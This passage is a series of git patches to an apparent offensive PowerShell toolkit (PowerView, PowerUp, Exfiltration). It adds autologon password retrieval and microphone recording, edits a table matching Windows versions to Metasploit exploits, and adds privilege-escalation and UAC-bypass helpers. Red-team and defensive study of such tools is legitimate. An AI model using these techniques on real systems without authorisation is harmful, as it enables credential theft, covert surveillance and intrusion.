+ $Result = (Get-GppInnerFields $File.Fullname) + Write-Output $Result + } + } + + catch {Write-Error $Error[0]} +} \ No newline at end of file diff --git a/README.md b/README.md index b818576c..c348b9e1 100644 --- a/README.md +++ b/README.md @@ -100,6 +100,10 @@ Logs keys pressed, time and the active window. Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. +#### `Get-GPPAutologon` + +Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences. + #### `Get-TimedScreenshot` A function that takes screenshots at a regular interval and saves them to a folder. @@ -128,6 +132,10 @@ Displays Windows vault credential objects including cleartext web credentials. Generates a full-memory minidump of a process. +#### 'Get-MicrophoneAudio' + +Records audio from system microphone and saves to disk + ## Mayhem **Cause general mayhem with PowerShell.** From b3e742a94e03ce25a6c5cffa7d11df17d093834d Mon Sep 17 00:00:00 2001 From: Antonio Quina Date: Fri, 25 Nov 2016 10:34:47 +0100 Subject: [PATCH 195/296] Updated Get-ExploitableSystem Removed *_netapi from Vista/2008 in Get-ExploitableSystem as they are not vulnerable --- Recon/PowerView.ps1 | 3 --- 1 file changed, 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 57a5789e..d61232b8 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -10304,16 +10304,13 @@ function Get-ExploitableSystem { $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") From 240365441020d9f82194973a34df045b42ee6d1d Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Thu, 1 Dec 2016 01:14:19 -0500 Subject: [PATCH 196/296] Revert "Merge pull request #198 from st3r30byt3/patch-1" This reverts commit 26a891b499df2c2f682c469c887b01dbd286a280, reversing changes made to 262a260865d408808ab332f972d410d3b861eff1. --- Recon/PowerView.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d61232b8..57a5789e 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -10304,13 +10304,16 @@ function Get-ExploitableSystem { $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") From 7b49e54eecbece602fe5186d1d7d7242aa001453 Mon Sep 17 00:00:00 2001 From: Antonio Quina Date: Thu, 1 Dec 2016 09:19:54 +0100 Subject: [PATCH 197/296] Updated Get-ExploitableSystem Removed *_netapi from Vista/2008 in Get-ExploitableSystem as they are not vulnerable --- Recon/PowerView.ps1 | 3 --- 1 file changed, 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 054969da..d35a9f02 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -12109,16 +12109,13 @@ function Get-ExploitableSystem { $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") From 422cd612f679df57643d5c0b366d25a032fb063b Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 13:13:29 -0500 Subject: [PATCH 198/296] removed Set-MacAttribute Pester tests --- Tests/Recon.tests.ps1 | 26 -------------------------- 1 file changed, 26 deletions(-) diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 index 8fd3d756..c2911357 100644 --- a/Tests/Recon.tests.ps1 +++ b/Tests/Recon.tests.ps1 @@ -30,32 +30,6 @@ Describe 'Export-PowerViewCSV' { } } - -Describe 'Set-MacAttribute' { - BeforeEach { - New-Item MacAttribute.test.txt -Type file - } - AfterEach { - Remove-Item -Force MacAttribute.test.txt - } - It 'Should clone MAC attributes of existing file' { - Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am' - $File = (Get-Item MacAttribute.test.txt) - $Date = Get-Date -Date '2000-01-01 00:00:00' - - if ($File.LastWriteTime -ne $Date) { - Throw 'File LastWriteTime does Not match' - } - elseif($File.LastAccessTime -ne $Date) { - Throw 'File LastAccessTime does Not match' - } - elseif($File.CreationTime -ne $Date) { - Throw 'File CreationTime does Not match' - } - } -} - - Describe 'Get-IPAddress' { $IPregex = "(?
    ((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" It 'Should return local IP address' { From 0939af5bb2ee556ea998c3f0fd1e21ef72c41719 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 13:17:22 -0500 Subject: [PATCH 199/296] fixed little-endian encoding --- Exfiltration/Get-GPPAutologon.ps1 | 2 +- Exfiltration/Get-MicrophoneAudio.ps1 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Exfiltration/Get-GPPAutologon.ps1 b/Exfiltration/Get-GPPAutologon.ps1 index fd8978f1..6a6f55b4 100644 --- a/Exfiltration/Get-GPPAutologon.ps1 +++ b/Exfiltration/Get-GPPAutologon.ps1 @@ -1,4 +1,4 @@ -function Get-GPPAutologon +function Get-GPPAutologon { <# .SYNOPSIS diff --git a/Exfiltration/Get-MicrophoneAudio.ps1 b/Exfiltration/Get-MicrophoneAudio.ps1 index 41a16bab..310309cf 100755 --- a/Exfiltration/Get-MicrophoneAudio.ps1 +++ b/Exfiltration/Get-MicrophoneAudio.ps1 @@ -1,4 +1,4 @@ -function Get-MicrophoneAudio { +function Get-MicrophoneAudio { <# .SYNOPSIS Records audio from the microphone and saves to a file on disk From 031a7561c65ad9e39c0da6a8e31dc5dbc9211d34 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 13:30:07 -0500 Subject: [PATCH 200/296] removed Pester test for non-exported Invoke-ThreadedFunction function --- Tests/Recon.tests.ps1 | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 index c2911357..a297ed96 100644 --- a/Tests/Recon.tests.ps1 +++ b/Tests/Recon.tests.ps1 @@ -110,18 +110,6 @@ Describe 'Get-NameField' { } -Describe 'Invoke-ThreadedFunction' { - It "Should allow threaded ping" { - $Hosts = ,"localhost" * 100 - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20 - if($Hosts.length -ne 100) { - Throw 'Error in using Invoke-ThreadedFunction to ping localhost' - } - } -} - - Describe "Get-NetLocalGroup" { It "Should return results for local machine administrators" { if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) { From 863699d97e55fe375fc67ada9e3d99d462cbe1d0 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 13:49:10 -0500 Subject: [PATCH 201/296] typo fix for #179 --- Privesc/PowerUp.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index c1b90729..072b03e6 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -3822,7 +3822,7 @@ function Invoke-AllChecks { "[+] Run a BypassUAC attack to elevate privileges to admin." if($HTMLReport) { - ConvertTo-HTML -Head $Header -Body "

    User In Local Group With Adminisrtative Privileges

    " | Out-File -Append $HtmlReportFile + ConvertTo-HTML -Head $Header -Body "

    User In Local Group With Administrative Privileges

    " | Out-File -Append $HtmlReportFile } } } From eae4695b136a8ef273b7474a5e36641808f12dd7 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 14:25:20 -0500 Subject: [PATCH 202/296] PowerUp update: -Standardized documentation, including adding output object types and required dependencies to all functions -Added Get-ProcessTokenPrivilege to enumerate the current (or remote) process token privileges, replacing Get-CurrentUserTokenGroupSid -Added Enable-Privilege to enable privileges using RtlAdjustPrivilege -Added @enigma0x3's Invoke-WScriptUACBypass function -Renamed Invoke-AllChecks to Invoke-PrivescAudit, added alias mapping -Added tests for Get-ProcessTokenPrivilege, Enable-Privilege, and Invoke-WScriptUACBypass -Renamed helper functions for consistency -Passes PSScriptAnalyzer! --- Privesc/PowerUp.ps1 | 3152 +++++++++++++++++++++++++-------------- Privesc/Privesc.psd1 | 21 +- Tests/Privesc.tests.ps1 | 266 +++- 3 files changed, 2271 insertions(+), 1168 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 072b03e6..6fffef0a 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -19,8 +19,7 @@ # ######################################################## -function New-InMemoryModule -{ +function New-InMemoryModule { <# .SYNOPSIS @@ -48,8 +47,9 @@ ModuleName is not provided, it will default to a GUID. $Module = New-InMemoryModule -ModuleName Win32 #> - Param - ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( [Parameter(Position = 0)] [ValidateNotNullOrEmpty()] [String] @@ -76,19 +76,17 @@ $Module = New-InMemoryModule -ModuleName Win32 # A helper function used to reduce typing while defining function # prototypes for Add-Win32Type. -function func -{ - Param - ( - [Parameter(Position = 0, Mandatory=$True)] +function func { + Param ( + [Parameter(Position = 0, Mandatory = $True)] [String] $DllName, - [Parameter(Position = 1, Mandatory=$True)] + [Parameter(Position = 1, Mandatory = $True)] [string] $FunctionName, - [Parameter(Position = 2, Mandatory=$True)] + [Parameter(Position = 2, Mandatory = $True)] [Type] $ReturnType, @@ -363,8 +361,7 @@ are all incorporated into the same in-memory module. } -function psenum -{ +function psenum { <# .SYNOPSIS @@ -431,8 +428,7 @@ New-Enum. :P #> [OutputType([Type])] - Param - ( + Param ( [Parameter(Position = 0, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, @@ -483,10 +479,8 @@ New-Enum. :P # A helper function used to reduce typing while defining struct # fields. -function field -{ - Param - ( +function field { + Param ( [Parameter(Position = 0, Mandatory=$True)] [UInt16] $Position, @@ -608,8 +602,7 @@ New-Struct. :P #> [OutputType([Type])] - Param - ( + Param ( [Parameter(Position = 1, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, @@ -741,67 +734,75 @@ New-Struct. :P function Get-ModifiablePath { <# - .SYNOPSIS +.SYNOPSIS + +Parses a passed string containing multiple possible file/folder paths and returns +the file paths where the current user has modification rights. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION - Parses a passed string containing multiple possible file/folder paths and returns - the file paths where the current user has modification rights. +Takes a complex path specification of an initial file/folder path with possible +configuration files, 'tokenizes' the string in a number of possible ways, and +enumerates the ACLs for each path that currently exists on the system. Any path that +the current user has modification rights on is returned in a custom object that contains +the modifiable path, associated permission set, and the IdentityReference with the specified +rights. The SID of the current user and any group he/she are a part of are used as the +comparison set against the parsed path DACLs. - Author: @harmj0y - License: BSD 3-Clause +.PARAMETER Path - .DESCRIPTION +The string path to parse for modifiable files. Required - Takes a complex path specification of an initial file/folder path with possible - configuration files, 'tokenizes' the string in a number of possible ways, and - enumerates the ACLs for each path that currently exists on the system. Any path that - the current user has modification rights on is returned in a custom object that contains - the modifiable path, associated permission set, and the IdentityReference with the specified - rights. The SID of the current user and any group he/she are a part of are used as the - comparison set against the parsed path DACLs. +.PARAMETER Literal - .PARAMETER Path +Switch. Treat all paths as literal (i.e. don't do 'tokenization'). - The string path to parse for modifiable files. Required +.EXAMPLE - .PARAMETER LiteralPaths +'"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath - Switch. Treat all paths as literal (i.e. don't do 'tokenization'). +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... +C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... - .EXAMPLE +.EXAMPLE - PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath +Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath - Path Permissions IdentityReference - ---- ----------- ----------------- - C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... - C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... +C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... +... - .EXAMPLE +.OUTPUTS - PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath +PowerUp.TokenPrivilege.ModifiablePath - Path Permissions IdentityReference - ---- ----------- ----------------- - C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... - C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... - ... +Custom PSObject containing the Permissions, ModifiablePath, IdentityReference for +a modifiable path. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiablePath')] [CmdletBinding()] Param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[]] $Path, + [Alias('LiteralPaths')] [Switch] - $LiteralPaths + $Literal ) BEGIN { - # # false positives ? - # $Excludes = @("MsMpEng.exe", "NisSrv.exe") - # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights $AccessMask = @{ [uint32]'0x80000000' = 'GenericRead' @@ -829,7 +830,6 @@ function Get-ModifiablePath { $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value $CurrentUserSids += $UserIdentity.User.Value - $TranslatedIdentityReferences = @{} } @@ -842,23 +842,18 @@ function Get-ModifiablePath { # possible separator character combinations $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") - if($PSBoundParameters['LiteralPaths']) { + if ($PSBoundParameters['Literal']) { $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath)) - if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + if (Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path } else { # if the path doesn't exist, check if the parent folder allows for modification - try { - $ParentPath = Split-Path $TempPath -Parent - if($ParentPath -and (Test-Path -Path $ParentPath)) { - $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path - } - } - catch { - # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + $ParentPath = Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue + if ($ParentPath -and (Test-Path -Path $ParentPath)) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path } } } @@ -866,26 +861,21 @@ function Get-ModifiablePath { ForEach($SeparationCharacterSet in $SeparationCharacterSets) { $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { - if(($SeparationCharacterSet -notmatch ' ')) { + if (($SeparationCharacterSet -notmatch ' ')) { $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim() - if($TempPath -and ($TempPath -ne '')) { - if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + if ($TempPath -and ($TempPath -ne '')) { + if (Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { # if the path exists, resolve it and add it to the candidate list $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path } else { # if the path doesn't exist, check if the parent folder allows for modification - try { - $ParentPath = (Split-Path -Path $TempPath -Parent).Trim() - if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) { - $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path - } - } - catch { - # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + $ParentPath = (Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue).Trim() + if ($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath -ErrorAction SilentlyContinue)) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path } } } @@ -904,14 +894,14 @@ function Get-ModifiablePath { $FileSystemRights = $_.FileSystemRights.value__ - $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] } + $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $AccessMask[$_] } # the set of permission types that allow for modification $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent - if($Comparison) { + if ($Comparison) { if ($_.IdentityReference -notmatch '^S-1-5.*') { - if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) { + if (-not ($TranslatedIdentityReferences[$_.IdentityReference])) { # translate the IdentityReference if it's a username and not a SID $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference) $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value @@ -922,12 +912,13 @@ function Get-ModifiablePath { $IdentitySID = $_.IdentityReference } - if($CurrentUserSids -contains $IdentitySID) { - New-Object -TypeName PSObject -Property @{ - ModifiablePath = $CandidatePath - IdentityReference = $_.IdentityReference - Permissions = $Permissions - } + if ($CurrentUserSids -contains $IdentitySID) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ModifiablePath' $CandidatePath + $Out | Add-Member Noteproperty 'IdentityReference' $_.IdentityReference + $Out | Add-Member Noteproperty 'Permissions' $Permissions + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiablePath') + $Out } } } @@ -937,127 +928,570 @@ function Get-ModifiablePath { } -function Get-CurrentUserTokenGroupSid { +function Get-TokenInformation { <# - .SYNOPSIS +.SYNOPSIS - Returns all SIDs that the current user is a part of, whether they are disabled or not. +Helpers that returns token groups or privileges for a passed process/thread token. +Used by Get-ProcessTokenGroup and Get-ProcessTokenPrivilege. - Author: @harmj0y - License: BSD 3-Clause +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION - .DESCRIPTION +Wraps the GetTokenInformation() Win 32API call to query the given token for +either token groups (-InformationClass "Groups") or privileges (-InformationClass "Privileges"). +For token groups, group is iterated through and the SID structure is converted to a readable +string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of +(disabled or not) is returned as a string array. - First gets the current process handle using the GetCurrentProcess() Win32 API call and feeds - this to OpenProcessToken() to open up a handle to the current process token. The API call - GetTokenInformation() is then used to enumerate the TOKEN_GROUPS for the current process - token. Each group is iterated through and the SID structure is converted to a readable - string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of - (disabled or not) is returned as a string array. +.PARAMETER TokenHandle - .LINK +The IntPtr token handle to query. Required. - https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx - https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx +.PARAMETER InformationClass + +The type of information to query for the token handle, either 'Groups' or 'Privileges'. + +.OUTPUTS + +PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed + +.LINK + +https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa379626(v=vs.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx #> + [OutputType('PowerUp.TokenGroup')] + [OutputType('PowerUp.TokenPrivilege')] [CmdletBinding()] - Param() + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] + [Alias('hToken', 'Token')] + [ValidateNotNullOrEmpty()] + [IntPtr] + $TokenHandle, + + [String[]] + [ValidateSet('Groups', 'Privileges')] + $InformationClass = 'Privileges' + ) + + PROCESS { + if ($InformationClass -eq 'Groups') { + # query the process token with the TOKEN_INFORMATION_CLASS = 2 enum to retrieve a TOKEN_GROUPS structure + + # initial query to determine the necessary buffer size + $TokenGroupsPtrSize = 0 + $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize) + [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize) + + $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS + For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) { + # convert each token group SID to a displayable string + + if ($TokenGroups.Groups[$i].SID) { + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $GroupSid = New-Object PSObject + $GroupSid | Add-Member Noteproperty 'SID' $SidString + # cast the atttributes field as our SidAttributes enum + $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes) + $GroupSid.PSObject.TypeNames.Insert(0, 'PowerUp.TokenGroup') + $GroupSid + } + } + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr) + } + else { + # query the process token with the TOKEN_INFORMATION_CLASS = 3 enum to retrieve a TOKEN_PRIVILEGES structure + + # initial query to determine the necessary buffer size + 